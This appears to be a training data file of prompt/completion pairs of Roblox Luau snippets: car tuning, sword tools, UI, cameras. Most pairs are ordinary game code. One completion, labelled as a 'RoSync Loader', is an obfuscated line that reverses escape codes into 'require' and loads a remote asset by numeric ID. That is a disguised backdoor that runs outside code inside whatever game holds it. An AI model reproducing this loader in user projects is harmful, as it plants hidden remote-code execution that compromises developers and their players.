prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--// Aim|Zoom|Sensitivity Customization |
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween
AimZoom = 40; -- Default zoom
AimSpeed = 0.23;
UnaimSpeed = 0.23;
CycleAimZoom = 55; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
-- print("Keyframe : ".. frameName) |
local repeatAnim = stopToolAnimations()
playToolAnimation(repeatAnim, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
if (animName ~= toolAnimName) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end |
--script.AB.Value = true |
carSeat.Parent.Weight.FrontDF.Force = Vector3.new(0, 0, 0)
carSeat.Parent.Weight.RearDF.Force = Vector3.new(0, 0, 0)
else --script.AB.Value = false
carSeat.Parent.Weight.FrontDF.Force = Vector3.new(0, (-1.2*DFF)*speed, (0.3*DFF)*speed)
carSeat.Parent.Weight.FrontDF.Location = Vector3.new(0,-2,-2)
carSeat.Parent.Weight.RearDF.Force = Vector3.new(0, ((-2.2*DFR)-0.2)*speed, (0.6*DFR)*speed)
carSeat.Parent.Weight.RearDF.Location = Vector3.new(0,1,4)
end
|
--[[ Last synced 11/11/2020 02:26 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Add script when player is added |
game.Players.PlayerAdded:connect(addScriptAtRespawn)
|
--For Omega Rainbow Katana thumbnail to display a lot of particles. |
for i, v in pairs(Handle:GetChildren()) do
if v:IsA("ParticleEmitter") then
v.Rate = 20
end
end
Tool.Grip = Grips.Up
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
--Debris :AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then
return
end
local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
-- UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Slash")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Lunge")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
wait(0.2)
Tool.Grip = Grips.Out
wait(0.6)
Tool.Grip = Grips.Up
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--wait(0.5)
Damage = DamageValues.BaseDamage
local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){
Name = "R15Slash",
AnimationId = BaseUrl .. Animations.R15Slash,
Parent = Tool
})
local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){
Name = "R15Lunge",
AnimationId = BaseUrl .. Animations.R15Lunge,
Parent = Tool
})
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChildOfClass("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Sounds.Unsheath:Play()
end
function Unequipped()
Tool.Grip = Grips.Up
ToolEquipped = false
end
Tool.Activated:Connect(Activated)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
Connection = Handle.Touched:Connect(Blow)
|
--//Limits//-- |
if InductionPartSize < 0 then
InductionPartSize = 0
elseif InductionPartSize > 5 then
InductionPartSize = 5
end
if WeightDistribution < 0 then
WeightDistribution = 0
elseif WeightDistribution > 100 then
WeightDistribution = 100
end
if SteeringAngle > 120 then
SteeringAngle = 120
elseif SteeringAngle < 20 then
SteeringAngle = 20
end
if TiresFront > 3 then
TiresFront = 3
elseif TiresFront < 1 then
TiresFront = 1
end
if TiresRear > 3 then
TiresRear = 3
elseif TiresRear < 1 then
TiresRear = 1
end
if DownforceF < 0 then
DownforceF = 0
elseif DownforceF > 5 then
DownforceF = 5
end
if DownforceR < 0 then
DownforceR = 0
elseif DownforceR > 5 then
DownforceR = 5
end
if EngineType == "Electric" then
TransmissionType = "Automatic"
InductionPartSize = 0
end
if BrakeBias > 100 then
BrakeBias = 100
elseif BrakeBias < 0 then
BrakeBias = 0
end
if SteerSpeed > 0.1 then
SteerSpeed = 0.1
elseif SteerSpeed < 0.02 then
SteerSpeed = 0.02
end
if BrakePower > 100 then
BrakePower = 100
elseif BrakePower < 0 then
BrakePower = 0
end
if AmountOfGears > 8 then
AmountOfGears = 8
elseif AmountOfGears < 1 then
AmountOfGears = 1
end
if TransmissionType ~= "HPattern" and TransmissionType ~= "Automatic" and TransmissionType ~= "DualClutch" and TransmissionType ~= "CVT" then
TransmissionType = "Automatic"
end
if Drivetrain ~= "AWD" and Drivetrain ~= "FWD" and Drivetrain ~= "RWD" then
Drivetrain = "FWD"
end
if TorqueSplit > 100 then
TorqueSplit = 100
elseif TorqueSplit < 0 then
TorqueSplit = 0
end
if Drivetrain == "RWD" then
TorqueSplit = 100
DifferentialF = 0
elseif Drivetrain == "FWD" then
TorqueSplit = 0
DifferentialR = 0
DifferentialF = 0
end
if DifferentialF > 1 then
DifferentialF = 1
elseif DifferentialF < 0 then
DifferentialF = 0
end
if DifferentialR > 1 then
DifferentialR = 1
elseif DifferentialR < 0 then
DifferentialR = 0
end
if Gear1 > 5 then
Gear1 = 5
elseif Gear1 < 0.1 then
Gear1 = 0.1
end
if Gear2 > 5 then
Gear2 = 5
elseif Gear2 < 0.1 then
Gear2 = 0.1
end
if Gear3 > 5 then
Gear3 = 5
elseif Gear3 < 0.1 then
Gear3 = 0.1
end
if Gear4 > 5 then
Gear4 = 5
elseif Gear4 < 0.1 then
Gear4 = 0.1
end
if Gear5 > 5 then
Gear5 = 5
elseif Gear5 < 0.1 then
Gear5 = 0.1
end
if Gear6 > 5 then
Gear6 = 5
elseif Gear6 < 0.1 then
Gear6 = 0.1
end
if Gear7 > 5 then
Gear7 = 5
elseif Gear7 < 0.1 then
Gear7 = 0.1
end
if Gear8 > 5 then
Gear8 = 5
elseif Gear8 < 0.1 then
Gear8 = 0.1
end
if FinalDrive > 5 then
FinalDrive = 6.08 - 5
elseif FinalDrive < 0.1 then
FinalDrive = 6.08 - 0.1
end
if EngineIdle > 1600 then
EngineIdle = 1600
elseif EngineIdle < 300 then
EngineIdle = 300
end
if RideHeightFront > 5 then
RideHeightFront = 5
elseif RideHeightFront < 0 then
RideHeightFront = 0
end
if RideHeightRear > 5 then
RideHeightRear = 5
elseif RideHeightRear < 0 then
RideHeightRear = 0
end
if StiffnessFront > 10 then
StiffnessFront = 10
elseif StiffnessFront < 0 then
StiffnessFront = 0
end
if StiffnessRear > 10 then
StiffnessRear = 10
elseif StiffnessRear < 0 then
StiffnessRear = 0
end
if AntiRollFront > 10 then
AntiRollFront = 10
elseif AntiRollFront < 0 then
AntiRollFront = 0
end
if AntiRollRear > 10 then
AntiRollRear = 10
elseif AntiRollRear < 0 then
AntiRollRear = 0
end
if CamberFront > 10 then
CamberFront = 10
elseif CamberFront < -11 then
CamberFront = -11
end
if CamberRear > 10 then
CamberRear = 10
elseif CamberRear < -11 then
CamberRear = -11
end
if EngineType == "Electric" then
EngineRedline = 16200
end |
--// All global vars will be wiped/replaced except script |
return function(data)
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local gui = service.New("ScreenGui")
local toggle = service.New("ImageButton", gui)
local gTable = client.UI.Register(gui)
if client.UI.Get("HelpButton", gui, true) then
gui:Destroy()
gTable:Destroy()
return nil
end
gTable.Name = "HelpButton"
gTable.CanKeepAlive = false
toggle.Name = "Toggle"
toggle.BackgroundTransparency = 1
toggle.Position = UDim2.new(1, -45, 1, -45)
toggle.Size = UDim2.new(0, 40, 0, 40)
toggle.Image = client.HelpButtonImage
toggle.ImageTransparency = 0.5
--if client.UI.Get("Chat") then
-- toggle.Position = UDim2.new(1, -(45+40),1, -45)
--end
toggle.MouseButton1Down:Connect(function()
local found = client.UI.Get("UserPanel",nil,true)
if found then
found.Object:Destroy()
else
client.UI.Make("UserPanel",{})
end
end)
gTable:Ready()
end
|
-- Mutable source version can be anything (e.g. number, string, immutable data structure)
-- so long as it changes every time any part of the source changes. |
export type MutableSourceVersion = NonMaybeType<any>
export type MutableSourceGetSnapshotFn<Source, Snapshot> = (source: Source) -> Snapshot
export type MutableSourceSubscribeFn<Source, Snapshot> = (
source: Source,
callback: (snapshot: Snapshot) -> ()
) -> (() -> ())
export type MutableSourceGetVersionFn = (
_source: NonMaybeType<any>
) -> MutableSourceVersion
export type MutableSource<Source> = {
_source: Source,
_getVersion: MutableSourceGetVersionFn,
-- Tracks the version of this source at the time it was most recently read.
-- Used to determine if a source is safe to read from before it has been subscribed to.
-- Version number is only used during mount,
-- since the mechanism for determining safety after subscription is expiration time.
--
-- As a workaround to support multiple concurrent renderers,
-- we categorize some renderers as primary and others as secondary.
-- We only expect there to be two concurrent renderers at most:
-- React Native (primary) and Fabric (secondary);
-- React DOM (primary) and React ART (secondary).
-- Secondary renderers store their context values on separate fields.
-- We use the same approach for Context.
_workInProgressVersionPrimary: nil | MutableSourceVersion,
_workInProgressVersionSecondary: nil | MutableSourceVersion,
-- DEV only
-- Used to detect multiple renderers using the same mutable source.
_currentPrimaryRenderer: Object | nil,
_currentSecondaryRenderer: Object | nil,
}
|
--[[Susupension]] |
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--Create the equipped title's billboard gui for a player |
function functions.CreateBillboardGui(plr: Player)
local plrStats = plr.leaderstats
local plrEquippedTitle = plrStats.EquippedTitle
local char = plr.Character
if char and titles:FindFirstChild(plrEquippedTitle.Value) then
if char.HumanoidRootPart:FindFirstChild("TITLE BILLBOARD GUI") then
char.HumanoidRootPart["TITLE BILLBOARD GUI"]:Destroy()
end
local billboardGui = titles[plrEquippedTitle.Value].BillboardGui:Clone()
billboardGui.Name = "TITLE BILLBOARD GUI"
billboardGui.Parent = char.HumanoidRootPart
end
end
return functions
|
-- Require all children and return their references |
local Themes = {}
for _, module in pairs(script:GetChildren()) do
if module:IsA("ModuleScript") then
Themes[module.Name] = require(module)
end
end
return Themes
|
--// Bullet Physics |
BulletPhysics = Vector3.new(0,69,0);
BulletSpeed = 1148;
|
--Moves to specific point 'finish' if a path is possible to follow |
function MoveTo(finish,TD)
local path=pathfinding:ComputeRawPathAsync(torso.Position,finish,maxWalkDistance); |
--Player leaving > save data and remove server data about player |
function module:RemovePlayerData(player)
if main.pd[player] then
savePlayerData(player, true)
end
main.pd[player] = nil
end
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 0.5 -- cooldown for use of the tool again
ZoneModelName = "Bullet 2" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--// Positioning |
RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);
LeftArmPos = CFrame.new(0.805950999, 0.654529691, -1.92835343, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);
GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);
|
-- hack to use roblox-ts's copy of roblox-lua-promise |
local TS = _G[script.Parent.Parent]
local Promise = TS.Promise
|
--[[
if a=='KFly' then
a=Curr.Fly
if a then
a.Value=nil
a.Parent.BodyVelocity:Destroy()
a.Parent.BodyGyro:Destroy()
a:Destroy()
Curr.Fly=nil
end
if b then
local hum,root=FindChild(char,'Humanoid'),FindChild(char,'HumanoidRootPart')
if not (hum and root) then
return
end
local maxspd,m,acc,dir,CF=100,5,v3()
local bg,bv=new'BodyGyro'{Parent=root;D=200;P=5000;cframe=root.CFrame},new'BodyVelocity'{Parent=root}
b=new'BoolValue'{Parent=root;Name='KFly'}
Curr.Fly=b
b.Changed:Connect(function(a)
if b==Curr.Fly then
a=b.Value
local f=a and v3(9e9,9e9,9e9) or v3()
hum.PlatformStand,bg.MaxTorque,bv.MaxForce=a,f,f
end
end)
b.Value=true
wrap(function()
repeat
if b.Value then
local dir = hum.MoveDirection
local CF = cam.CoordinateFrame
dir = (CF:inverse() * CFrame.new(CF.p + dir)).p
rwait()
dir,CF = hum.MoveDirection,cam.CoordinateFrame
dir=(CF:inverse()*cf(CF.p+dir)).p
acc=acc*.95
acc=v3(max(-maxspd,min(maxspd,acc.x+dir.x*m)),max(-maxspd,min(maxspd,not isTyping and (f.KeyDown(Enum.KeyCode.Space) and acc.y+m or f.KeyDown(Enum.KeyCode.LeftControl) and acc.y-m) or acc.y)),max(-maxspd,min(maxspd,acc.z+dir.z*m)))
bg.cframe,bv.velocity=CF,(CF*cf(acc)).p-CF.p
else
wait()
end
until not b or b~=Curr.Fly or not hum or not root
end)
end--]]
--[[
local humPart = script.Parent
local flightVal = humPart:FindFirstChild("FLIGHT_VAL")
local localplayer = game:GetService("Players").LocalPlayer
local mouse = localplayer:GetMouse()
local torso = script.Parent
local human = torso.Parent:FindFirstChildOfClass("Humanoid")
local flying = true
local speed = 0
local keys = {}
local function check()
if flightVal and flightVal.Parent and flightVal.Parent == humPart then
return true
end
end
local function start()
local pos = Instance.new("BodyPosition",torso)
local gyro = Instance.new("BodyGyro",torso)
pos.Name = "ADONIS_FLIGHTPOS"
pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
pos.position = torso.Position
gyro.Name = "ADONIS_GYRO"
gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9)
gyro.cframe = torso.CFrame
human.Died:Connect(function()
if gyro then gyro:Destroy() end
if pos then pos:Destroy() end
flying = false
human.PlatformStand = false
speed = 0
end)
repeat
localplayer.Character.Humanoid.PlatformStand = true
local new = gyro.cframe - gyro.cframe.p + pos.position
if not keys.w and not keys.s and not keys.a and not keys.d then
speed = 1
end
if keys.w then
new = new + workspace.CurrentCamera.CoordinateFrame.LookVector * speed
speed = speed+0.15
end
if keys.a then
new = new * CFrame.new(-speed,0,0)
speed = speed+0.15
end
if keys.s then
new = new - workspace.CurrentCamera.CoordinateFrame.LookVector * speed
speed = speed+0.15
end
if keys.d then
new = new * CFrame.new(speed,0,0)
speed = speed+0.15
end
if speed>10 then
speed=10
end
pos.position=new.p
if keys.w then
gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*7.5),0,0)
elseif keys.s then
gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*7.5),0,0)
else
gyro.cframe = workspace.CurrentCamera.CoordinateFrame
end
until not check() or not flying or not gyro or not pos or not pos.Parent or not wait()
if gyro then gyro:Destroy() end
if pos then pos:Destroy() end
flying = false
human.PlatformStand = false
speed = 0
end
mouse.KeyDown:Connect(function(key)
if check() then
if key=="w" then
keys.w = true
elseif key=="s" then
keys.s = true
elseif key=="a" then
keys.a = true
elseif key=="d" then
keys.d = true
elseif key=="e" then
if flying then
flying = false
else
flying = true
start()
end
end
end
end)
mouse.KeyUp:Connect(function(key)
if check() then
if key=="w" then
keys.w = false
elseif key=="s" then
keys.s = false
elseif key=="a" then
keys.a = false
elseif key=="d" then
keys.d = false
end
end
end)
start()
--]] | |
-- Text size default properties |
defaults.TextScaled = false
defaults.TextScaleRelativeTo = "Frame" -- "Frame" or "Screen" If Frame, will scale relative to vertical size of the parent frame. If Screen, will scale relative to vertical size of the ScreenGui.
defaults.TextScale = 0.25 -- If you want the frame to have a nominal count of n lines of text, make this value 1 / n. For four lines, 1 / 4 = 0.25.
defaults.TextSize = 24 -- Only applicable if TextScaled = false
|
--Code You want goes here |
script.Parent.Core.Fire.Enabled = true
wait(script.Parent.Configuration.EscapeTime.Value)
local Explosion = Instance.new("Explosion",game.Workspace)
Explosion.BlastRadius = 100
Explosion.Position = script.Parent.Core
end
while true do
if script.Parent.Temperature.Value > script.Parent.Configuration.HowMuchUntilMeltdown.Value then
meltdownsequence()
wait(math.huge)
else
script.Parent.Temperature.Value = script.Parent.Temperature.Value + script.Parent.Configuration.HowMuchTempIsIncreeased.Value
wait(script.Parent.Configuration.HowFastInSecondsDoesTemperatureIncreease.Value)
end
end
|
-- elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
-- local n=1
-- for i,v in pairs(_Tune.TransModes) do
-- if v==_TMode.Value then n=i break end
-- end
-- n=n+1
-- if n>#_Tune.TransModes then n=1 end
-- _TMode.Value = _Tune.TransModes[n] |
--Throttle
elseif (_IsOn and not car.DriveSeat.Tic.Value) and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GThrot = 1
else
_GThrot = _Tune.IdleThrottle/100
end
--Brake
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GBrake = 1
else
_GBrake = 0
end
--Steer Left
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
--Steer Right
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then
_GSteerT = -1
else
_GSteerT = 0
end
_SteerR = false
end
--Toggle Mouse Controls
elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
if input.UserInputState == Enum.UserInputState.End then
_MSteer = not _MSteer
_GThrot = _Tune.IdleThrottle/100
_GBrake = 0
_GSteerT = 0
_ClutchOn = true
end
--Toggle TCS
elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
if input.UserInputState == Enum.UserInputState.End then _TCS = not _TCS end
--Toggle ABS
elseif _Tune.ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
if input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
else
_GSteerT = 0
end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
else
_GSteerT = 0
end
end
--Gamepad Throttle
elseif (_IsOn and not car.DriveSeat.Tic.Value) and input.KeyCode == _CTRL["ContlrThrottle"] then
_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_GBrake = input.Position.Z
end
end
else
_GThrot = _Tune.IdleThrottle/100
_GSteerT = 0
_GBrake = 0
if _CGear.Value~=0 then _ClutchOn = true end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
|
-- test whether value is a constant |
function luaP:ISK(x) return x >= self.BITRK end
|
--Weld stuff here |
MakeWeld(car.Misc.RealisticArms.Wheel,car.DriveSeat,"Motor",.5).Name="W"
ModelWeld(car.Misc.RealisticArms.Boxes,car.DriveSeat)
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 175 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 5200 -- Use sliders to manipulate values
Tune.Redline = 5600 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 1 -- Clutch engagement threshold (higher = faster response)
|
--------SETTINGS-------- |
local ITEM_NAME = "Railgun"
local ITEM_PRICE = 10
local CURRENCY_NAME = "Cash" |
-- ROBLOX deviation: excluded type annotation for AsymmetricMatcher because Luau does
-- not yet support type annotations for a generic function |
function isAsymmetricMatcher(data: any)
local type_ = getType(data)
return type_ == "table" and typeof(data.asymmetricMatch) == "function"
end
local function diff(
a: any,
b: any,
options -- ROBLOX deviation: omitted type annotation since we don't have DiffOptions translated
): string | nil
return shouldPrintDiff(a, b) and diffDefault(a, b, options) or nil
end
function pluralize(word: string, count: number): string
if count == 1 then
return (NUMBERS[count + 1] or count) .. " " .. word
else
return (NUMBERS[count + 1] or count) .. " " .. word .. "s"
end
end
|
-- Connections |
NewPlayer.OnClientEvent:Connect(startTutorial)
NextButton.Activated:Connect(nextPanel)
|
--The name of the collision group that characters are put in |
local GroupName = "Players"
|
-- Private Methods |
function init(self)
local element = self.Element
local maid = self._Maid
local dragBind = self._DragBind
local lastMousePosition = Vector3.new()
local dragInput
maid:Mark(self._DragBind)
maid:Mark(self._StartBind)
maid:Mark(self._StopBind)
maid:Mark(element.InputBegan:Connect(function(input)
if (VALID_PRESS[input.UserInputType]) then
lastMousePosition = input.Position
self.IsDragging = true
self._StartBind:Fire()
local inputEndConn; inputEndConn = input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End or input.UserInputState == Enum.UserInputState.Cancel then
if inputEndConn then
inputEndConn:Disconnect()
inputEndConn = nil
self.IsDragging = false
self._StopBind:Fire()
end
end
end)
end
end))
maid:Mark(element.InputChanged:Connect(function(input)
if (VALID_MOVEMENT[input.UserInputType]) then
dragInput = input
end
end))
maid:Mark(UIS.InputChanged:Connect(function(input, process)
if input == dragInput and self.IsDragging then
local delta = input.Position - lastMousePosition
dragBind:Fire(element, input, delta)
end
end))
--maid:Mark(element.InputBegan:Connect(function(input)
-- if (VALID_PRESS[input.UserInputType]) then
-- lastMousePosition = input.Position
-- self.IsDragging = true
-- self._StartBind:Fire()
-- end
--end))
--maid:Mark(UIS.InputEnded:Connect(function(input)
-- if (VALID_PRESS[input.UserInputType]) then
-- self.IsDragging = false
-- self._StopBind:Fire()
-- end
--end))
--maid:Mark(UIS.InputChanged:Connect(function(input, process)
-- if (self.IsDragging) then
-- if (VALID_MOVEMENT[input.UserInputType]) then
-- local delta = input.Position - lastMousePosition
-- lastMousePosition = input.Position
-- dragBind:Fire(element, input, delta)
-- end
-- end
--end))
end
|
-- Instruction: Put in a (Vehicle)Seat. |
wait(0.1)
local seat = script.Parent
function GetPlayerFromWeld( weld )
if weld.Part1.Name == "HumanoidRootPart" then
local character = weld.Part1.Parent:findFirstChild("Humanoid")
if (character) then
local player = game.Players:GetPlayerFromCharacter(character.Parent)
if (player) then
return player
end
end
end
return nil
end
seat.ChildAdded:connect(function( newChild )
if newChild:IsA("Weld") then
newChild.C0 = CFrame.new(0,-1,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2.4),0,0)
local player = GetPlayerFromWeld(newChild)
if (player) then
local newGUI = script.SpeedGUI:Clone()
wait(0.1)
newGUI.Seat.Value = seat
newGUI.Parent = player.PlayerGui
end
end
end)
seat.ChildRemoved:connect(function( oldChild )
if oldChild:IsA("Weld") then
local player = GetPlayerFromWeld( oldChild )
if player then
if player.PlayerGui:findFirstChild("SpeedGUI") then
player.PlayerGui.SpeedGUI:Destroy()
end
end
end
end)
|
-- Load Roblox Camera Controller Modules |
local ClassicCamera = require(script:WaitForChild("ClassicCamera"))
local OrbitalCamera = require(script:WaitForChild("OrbitalCamera"))
local LegacyCamera = require(script:WaitForChild("LegacyCamera"))
local VehicleCamera = require(script:WaitForChild("VehicleCamera"))
|
-- step a damped angular spring axis |
local function stepSpringAxis(dt, f, g, p, v)
local offset = sanitizeAngle(p - g)
local decay = math.exp(-f*dt)
